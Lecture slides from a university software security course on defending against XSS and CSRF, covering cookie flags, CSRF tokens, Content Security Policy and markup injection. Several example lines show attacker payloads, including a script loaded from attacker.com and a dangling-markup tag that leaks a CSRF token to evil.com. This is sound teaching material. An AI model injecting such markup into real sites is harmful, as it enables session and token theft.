INF226 – Software Security

Håkon Robbestad Gylterud

2019–10–02

XSS and CSRF demonstration

Demo

Questions:

1. CSRF: How can a token in the form be used to prevent this CSRF?
2. XSS: Why did Malleroy also post "I vote for Malleroy"? How to avoid this?
3. XSS: How can we prevent the XSS vulnerability in the message posting?

Securing the sesision token

Cookies and the same-origin policy.

Cookies are actually **not covered** by same origin policy by default:

- Cookies from `https://example.com/` will be sent to `http://example.com/`.

Cookies and the same-origin policy.

Cookies are actually **not covered** by same origin policy by default:

- Cookies from `https://example.com/` will be sent to `http://example.com/`.

Band-aid: Set the `Secure` flag on the cookie.

The `Secure` flag

The `Secure` flag indicates the following:

- The user agent (browser) should only transmit the cookie when

In practise: *secure* means HTTPS.

The SameSite flag

The SameSite flag has three possible values:

- **none**: the cookie is always sent.
- **strict**: the cookie is only sent the request is initiated from the same origin.
- **lax**: the cookie is still sent when following links (GET requests) from other origins, but not with other requests (POST,DELETE,$\cdots$)

Browser support for this flag is improving, but CSRF tokens are still recommended.

The `HttpOnly` flag

In 2002, the most popular way to exploit XSS was stealing the session token using java-script.

The `HttpOnly` flag

In 2002, the most popular way to exploit XSS was stealing the session token using java-script.

The **`HttpOnly`** flag for cookies indictes to browsers that the cookie:

- the cookie should only be sent in the HTTP-header, and
- (thus) should not be *available to scripts*

The `HttpOnly` flag

In 2002, the most popular way to exploit XSS was stealing the session token using java-script.

The **`HttpOnly`** flag for cookies indictes to browsers that the cookie:

- the cookie should only be sent in the HTTP-header, and
- (thus) should not be *available to scripts*

Question: Would help prevent exploiting the XSS we saw in the demonstration?

Cookie conclusion

The following three flags should be set:

- `Secure`
- `SameSite` (`lax` or `strict` depending on use case)
- `HttpOnly` (Is not really effective)

But: If your site already uses a lot of JavaScript, consider keeping the session token in local storage.

Cross site request forgery protection

What must be protected?

Any request with side-effects is vulnerable:

- Links must be protected `https://site/action#abs6ajv...`
- Forms must be protected
- All other POST/GET requests (through `XMLHttpRequest`).

Pitfall: Using double submit tokens

Keeping the CSRF-tokens stored on the server is annoying. It is tempting to put them in a cookie:

- Cookie:
  - `Csrf-token=XolHzuGYZcLw7PQ2qv7WXC1C3dzYyxCg`
- Form-field:
  - `<input type="hidden" name="token">XolHzuGYZcLw7PQ2qv7WXC1C3dzYyxCg</input>`

But, this means that if the attacker can set a cookie for the domain, he can forge requests:

- Subdomains can set (but not read) cookies for the whole domain.
- HTTP can set (but not read 'Secure') cookies for HTTPS.

Content Security Policy

CSP

Content Security Policy (**CSP**) is a way to further harden the website against cross-site scripting.

Policies set in the HTTP header:

- Control which sources content (scripts,images,css,$\cdots$) are allowed come from.
- Voilations are reported back to the server.

CSP: examples

Only allow content from same site:

```
Content-Security-Policy "default-src 'self';"
```

Example violation:

```
<script src="https://attacker.com/exploit"></script>
```

CSP: examples

Only allow content from same site:

```
Content-Security-Policy "default-src 'self';"
```

Example violation:

```
<script src="https://attacker.com/exploit"></script>
```

Allow images to be loaded from a single external site:

```
Content-Security-Policy "default-src 'self';img-src 'self' cdn.example.com"
```

Example violation:

```
<img src="https://attacker.com/ping"></img>
```

CSP limits inline scripts

```
<script>
 var xhttp = new XMLHttpRequest();
 xhttp.open("GET", "/doBadThing", true);
 xhttp.send();
</script>
```

Will cause a violation.

CSP limitations

Browser support for CSP is improving, but still you cannot rely on it.

There are also a number of attacks which fall outside the scope of CSP:

- Correctly escaping HTML output is still needed – both for security and correctness.

CSP limitations

Browser support for CSP is improving, but still you cannot rely on it.

There are also a number of attacks which fall outside the scope of CSP:

- Correctly escaping HTML output is still needed – both for security and correctness.

CSP has to be taken into accound when designing the webpage.

- It is difficult to get third party scripts to adhere to policies.

List of asset types CSP controls

– `default-src`: all assets (including scripts) – `img-src`: images – `style-src`: stylesheets – `media-src`: audio and video – `frame-src`: iframe sources – `connect-src`: XHR, WebSockets, EventSource – `font-src`: font files – `object-src`: Flash and other plugin objects - `form-action`: targets for form actions

CSP information sources

- Mozilla Development Network
- html5rocks.com
-

Markup injection

An attacker does not always need to inject JavaScript:

```
<img src='http://evil.com/log.cgi?      ← Injected line with a non-terminated parameter
...
<input type="hidden" name="xsrf_token" value="12345">
...
'                                       ← Normally-occurring apostrophe in page text
...
</div>                                  ← Any normally-occurring tag (to provide a closing bracket)
```

Reference: Letters from a post-XXS world

Muddiest point

Answer on `mitt.uib.no`.

Web security summary

What have we covered?

Transport security:

- Public key cryptograph
- HTTPS
- HSTS (HTTP Strict Transport Security)

What have we covered?

Transport security:

- Public key cryptograph
- HTTPS
- HSTS (HTTP Strict Transport Security)

User authentication:

- Hashing
- Salting
- Key derivation functions

What have we covered?

Same-origin policy.

What have we covered?

Same-origin policy.

Cross-site scripting:

- What are the different vectors?
- Escaping (different contexts)
- Sanitizing HTML (use a good library)
- CSP

What have we covered?

Same-origin policy.

Cross-site scripting:

- What are the different vectors?
- Escaping (different contexts)
- Sanitizing HTML (use a good library)
- CSP

Cross-site request forgery

- What requests must be protected?
-

What have we covered?

Same-origin policy.

Cross-site scripting:

- What are the different vectors?
- Escaping (different contexts)
- Sanitizing HTML (use a good library)
- CSP

Cross-site request forgery

- What requests must be protected?
-

Cookie flags